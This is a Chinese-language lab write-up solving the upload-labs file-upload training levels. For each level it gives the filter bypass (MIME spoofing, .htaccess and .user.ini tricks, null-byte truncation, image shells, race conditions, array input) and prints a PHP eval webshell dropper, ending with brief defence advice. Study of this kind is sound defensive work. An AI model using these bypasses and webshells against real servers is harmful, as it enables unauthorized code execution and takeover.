文章目录
- 文件上传
- upload-labs
- Pass-01(前端验证)
- Pass-02(MIME验证)
- Pass-03(黑名单验证,特殊后缀)
- Pass-04(黑名单验证,.htaccess)
- Pass-05(黑名单验证,.user.ini.)
- Pass-06(黑名单验证,大小写绕过)
- Pass-07(黑名单验证,空格绕过)
- Pass-08(黑名单验证,点号绕过)
- Pass-09(黑名单验证,特殊字符::\$DATA绕过)
- Pass-10(黑名单)
- Pass-11(黑名单验证,双写绕过)
- Pass-12(白名单验证,0x00截断)
- Pass-13(白名单验证,0x00截断)
- Pass-14(白名单验证,图片马)
- Pass-15(白名单验证,图片马)
- Pass-16(白名单验证,图片马)
- Pass-17(白名单验证,图片马+二次渲染)
- Pass-18(白名单验证,条件竞争)
- Pass-19(白名单验证,条件竞争)
- Pass-20(黑名单验证,点号绕过)
- Pass-21(白名单验证,数组绕过)
- 用到的部分函数说明
- 总结
文件上传
漏洞成因: 具备上传文件功能的Web等应用,未对用户选择上传的文件进行校验,使得非法用户可通过上传可执行脚本而获取应用的控制权限。
防护与绕过: 通过upload-labs靶场,了解更多的防护与绕过手段。
upload-labs
Pass-01(前端验证)
- 上传php一句话,弹窗提示。F12发现表单提交时的js验证。
- 类型不是.jpg|.png|.gif时,验证失败,返回false,直接修改表单处,相当于返回true。
修改前:
修改后:
- 上传成功,使用蚁剑连接。
Pass-02(MIME验证)
- 上传php一句话,网页加载(有发送请求)后,提示如下。
- 使用BurpSuite抓包,抓取上传图片的包和上传木马的包,比较后发现
Content-Type
的差别。
- 修改上传木马包的
Content-Type
为image/jpeg
后放包,上传成功,使用蚁剑连接。
Pass-03(黑名单验证,特殊后缀)
- 上传一句话,网页加载(有发送请求)后,提示如下,推测为黑名单验证。
- 黑名单不全,可以使用大小写、‘.’号(如:1.php.)、特殊字符(如:1.php::$DATA)、Apache文件后缀解析(1.php.xxx为1.php)等方式绕过,但查看源码后,发现都给过滤掉了。
- 使用一些特殊的后缀。
php:php3、php4、phtml
jsp:jspx、jspf
asp:asa、cer
使用特殊后缀之后,发现还是不行,返回结果为空,测试<?php phpinfo();?>
也读不出来。看wp和百度后,是由于环境是phpstudy搭建的,里面把后缀给限制了,所以改一下httpd.conf文件里的#AddType application/x-httpd-php .php .phtml
为AddType application/x-httpd-php .php .phtml .php3 .php4
记得去掉#
号。
此处没有过滤.htaccess,可以先上传内容为:SetHandler application/x-httpd-php
的.htaccess文件,含义:将所有文件解析为php。然后上传个jpg格式的一句话也可以绕过了 - 上传1.php4,成功后查看图像地址,然后再使用蚁剑连接。
Pass-04(黑名单验证,.htaccess)
- 与Pass-03相似,还是黑名单,过滤得更多。
- 上传.htaccess文件后,上传任意后缀包含一句话的马,连接上。
Pass-05(黑名单验证,.user.ini.)
- 与前两关相似,再过滤了.htaccess,但是还有个ini配置文件可以利用。
- 先上传一个以
auto_prepend_file=1.gif
为内容的.user.ini
文件,然后再上传一个内容为php的一句话的脚本,命名为1.gif
,.user.ini
文件里的意思是:所有的php文件都自动包含1.gif文件。.user.ini相当于一个用户自定义的php.ini。 - 提示是:存在readme.php这个文件。
- 复制图像地址后,将文件名改为readme.php,然后密码设置为一句话的密码,蚁剑连接成功。
注:这里一开始我用的是phpstudy的2016版本,但是两个文件上传上去后1.gif还是没有给包含在readme.php里(使用蚁剑连接不上),然后后来换了个v8.1版本的,上传后可以成功连上。后来要手动配置2016版的php扩展设置,在选项那里输入1.gif后,给包含,但相当于服务端改了php.ini文件,利用方法不现实。为什么2016版的.user.ini没有给php.ini扫描到呢?希望得到解决。
Pass-06(黑名单验证,大小写绕过)
- 去除对文件后缀名的转为小写设定,直接选择后缀名为
.Php
等非黑名单中存在的格式上传。
Pass-07(黑名单验证,空格绕过)
- 去除了对文件后缀名的空格过滤,选择后缀为
.php
的一句话上传,抓包后在后面增加空格,成功绕过。(空格不明显)
Pass-08(黑名单验证,点号绕过)
- 去除了对文件后缀名的点号过滤,选择选择后缀为
.php
的一句话上传,抓包后在后面增加点,成功绕过。
Pass-09(黑名单验证,特殊字符::$DATA绕过)
- 去除了对字符串::$DATA的过滤,选择选择后缀为
.php
的一句话上传,抓包后在后面增加::$DATA
,上传成功。
注:复制图像地址时,会附带::$DATA
,要去掉后再连接,否则找不到文件。
Pass-10(黑名单)
- 查看源码后,发现其路径拼接的是
$file_name
而不是$file_ext
,而$file_name
只处理了文件名末尾的点。 - 选择后缀为
.php
的一句话上传,抓包后构造文件后缀为php. .
,成功绕过,再使用蚁剑连接。
Pass-11(黑名单验证,双写绕过)
- 查看源码后,发现其对存在黑名单中的字符进行替换,但
str_ireplace()
函数只替换一次,因此修改文件名为1.pphphp
后成功绕过。
Pass-12(白名单验证,0x00截断)
- 查看源码和提示,上传路径可控,并且是最终文件的存放位置是以拼接的方式,可以使用%00截断,但需要php版本<5.3.4,并且magic_quotes_gpc关闭。原理是:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
- 修改一句话的后缀名为
.jpg
后上传,抓包后修改URL,成功上传,复制图像地址后去掉php后的部分,然后用蚁剑连接。
Pass-13(白名单验证,0x00截断)
- 与Pass-12的区别是这里使用POST传地址,POST不会对里面的数据自动解码,需要在Hex中修改。
- 修改一句话的后缀名为
.jpg
后上传,抓包后,修改路径处,增加1.php
,然后选择Hex
后,找到增加的1.php
位置,将p后的0d
(不同字符不同)修改为00
后放包上传。同样复制图像地址后去掉php后的部分,然后用蚁剑连接。
Pass-14(白名单验证,图片马)
- 上传图片马,查看源码后,意思是:读取上传文件的前两个字节内容,
unpack
解码后,使用intval
转换为10进制,默认为10进制,根据转换后的结果判断图片类型。
- 制作图片马,
copy 1.jpg/b + 1.jpg/a 2.jpg
,2.jpg就是生成的图片马。 - 上传成功后,利用文件包含解析图片马里的php脚本,file为我们的图片马位置。
Pass-15(白名单验证,图片马)
- 与Pass-14相同,上传同个图片马就可以。相关函数说明:
getimagesize(string $filename [,array &$imageinfo])//获取图像信息,返回一个数组
/*
返回的数组中,索引0:图像宽度像素值
索引1:图像高度像素值
索引2:图像类型,1=GIF,2=JPG,3=PNG,4=SWF,5=PSD,6=BMP,7=TIFF_II,8=TIFF_MM,9=JPC,10=JP2,11=JPX,12=JB2,13=SWC,14=IFF,15=WBMP,16=XBM,17=ICO,18=COUNT
索引3:图像宽度和高度的字符串
索引bits:图像的每种颜色的位数,二进制格式
索引channels:图像的通道值
索引mime:图像的MIME信息
*/
image_type_to_extension(int $imagetype [,bool $include_dot = TRUE])//获取图像类型的文件扩展名
/*
include_dot是否在扩展名前加点。默认为TRUE
*/
Pass-16(白名单验证,图片马)
- 与Pass-14相同,上传同个图片马就可以。相关函数说明:
此函数需要开启php_exif模块
exif_imagetype(string $filename)//读取一个图像的第一个字节并检查其签名
Pass-17(白名单验证,图片马+二次渲染)
- 验证过程:判断后缀与MIME类型是否符合要求,符合后生成新图像(内容不正确会失败,返回false,相当于多了一次验证),生成新图像失败就
unlink
删除,成功就根据系统时间给文件命名,再通过imagejpeg
类似函数使用原图像资源创建新图像(二次渲染)。相关函数说明:
basename(string $path [,string $suffix]) //返回路径中的文件名部分
imagecreatefromjpeg(string $filename)
imagecreatefrompng(string $filename)
imagecreatefromgif(string $filename) //由文件或URL创建一个新图像,内容不对则失败返回false,成功后返回图像资源
srand([int $seed ]) //用seed播下随机数发生器种子
strval(mixed $var) //返回字符串类型的var
imagejpeg(resource $image [,string $filename [,int $quality]])//从image图像以filename为文件名创建一个JPEG图像
imagepng(resource $image [,string $filename]) //从 image 图像以filename为文件名创建一个PNG图像或文件
imagegif(resource $image [,string $filename]) //从 image 图像以filename为文件名创建一个GIF图像或文件
- 绕过过程:这里用gif,容易绕过二次渲染,上传图片马2.gif
copy 1.gif/b + 1.php/a 2.gif
,然后另存上传的图片马,使用查看被渲染后哪里保持不变,将一句话插入到不变的位置中去,保存图片马,再次上传,复制新上传的图像位置,使用蚁剑连接成功。
Pass-18(白名单验证,条件竞争)
- 验证过程:服务器先将上传的文件保存在临时目录中,然后再对后缀名进行白名单验证,并重命名。
rename(string $oldname,string $newname [,resource $context])//把oldname重命名为newname
- 绕过过程:不断上传文件,在文件还没被删除前去读取文件,若上传内容为
<?php fputs(fopen('2.php','w'),'<?php @eval($_POST["pass"])?>');?>
,则还没被删除前去读取文件,解析之后会写入一个内容为<?php @eval($_POST["pass"])?>
的2.php
文件。使用BurpSuite的Intruder不断上传文件并不断访问所上传的文件。
注:"pass"
一定要双引号,不然单引号之间乱了。 - 观察到有200的响应包,用蚁剑连接。
2.php
Pass-19(白名单验证,条件竞争)
- 验证过程:依次检查文件是否存在、文件名是否可写、检查后缀(白名单)、检查文件大小、检查临时文件存在、保存到临时目录里、然后再重命名。与Pass-18存在同样的条件竞争。不同的是这里先检查了后缀,所以要上传符合白名单里的才能进行。
- 任务是上传webshell,但是不知道怎么做,可以通过之前的文件包含和Pass-18的条件竞争,上传一个图片马,然后不断访问,写入一个webshell。
- 怎么才能直接上传webshell???
Pass-20(黑名单验证,点号绕过)
- 同样是上传路径可控,可以使用和Pass-13同样的方式绕过。不同的是这里的黑名单,可以文件名称保存的时候,加上
.
,最末的.
号使得pathinfo()
获取到的PATHINFO_EXTENSION
为空,从而绕过黑名单。
pathinfo(string $path [,int $options = PATHINFO_DIRNAME | PATHINFO_BASENAME | PATHINFO_EXTENSION | PATHINFO_FILENAME])
/*
返回一个关联数组包含有path的信息。返回关联数组还是字符串取决于options
PATHINFO_DIRNAME:文件所在目录
PATHINFO_BASENAME:文件+后缀名
PATHINFO_EXTENSION:后缀名
PATHINFO_FILENAME:文件名
*/
- 上传,再用蚁剑连接。
Pass-21(白名单验证,数组绕过)
- 验证过程:先检查MIME,通过后检查文件名,保存名称为空的就用上传的文件名。再判断文件名是否是
array
数组,不是的话就用explode()
函数通过.
号分割成数组。然后获取最后一个,也就是后缀名,进行白名单验证。不符合就报错,符合就拼接数组的第一个和最后一个作为文件名,保存。
explode(string $delimiter , string $string [, int $limit])//返回由字符串组成的数组,每个元素都是string的一个子串,它们被字符串delimiter作为边界点分割出来
reset(array &$array)//将数组的内部指针指向第一个单元
- 绕过过程:绕过MIMIE,改一下包的
Content-Type
,为了绕过explode()
函数,需要传入数组,绕过白名单,由于取的是end()
也就是数组最后一个,需要传入数组的最后一个为jpg|png|gif
,最后是拼接文件名,取的是reset()
第一个,即索引为0,和索引count()-1
(数组内元素个数-1)。所以令索引0为1.php
,索引2为jpg
(只要是索引1之后都可),这样数组元素个数为2,拼接的就是索引0和索引1,也就是1.php
和空,结果还是1.php
,这样就可以使得拼接后的文件名为1.php
。如下:
用到的部分函数说明
$_FILES['file']['name'] //客户端上传的文件原名称,含扩展名
$_FILES['file']['type'] //上传的文件类型
$_FILES['file']['tmp_name'] //文件上传后,在服务器端存储的临时文件名
stripos(string $haystack,string $needle [,int $offset = 0])// 查找字符串首次出现的位置(不区分大小写)
strrpos(string $haystack,string $needle [,int $offset = 0])//计算指定字符串在目标字符串中最后一次出现的位置
move_uploaded_file(string $filename,string $destination) //文件上传后先存储于服务器的临时目录中,使用该函数移动文件位置
substr(string $string,int $start [,int $length]) //返回字符串string中从位置start处后的长度为length部分
strrchr(string $haystack,mixed $needle) //返回haystack字符串中的一部分,这部分以needle的最后出现位置开始,直到haystack末尾
in_array(mixed $needle,array $haystack[,bool $strict = FALSE])//在数组haystack中搜索是否存在值needle,strict若设置TRUE,则类型也会匹配
总结
防御
- 黑白名单;
- 对上传的文件重命名,不易被猜测;
- 对上传的内容进行读取检查;
- 不要暴露上传文件的位置;
- 禁用上传文件的执行权限;
不同系统有不同的需求,根据系统需求制定特定的防御手段。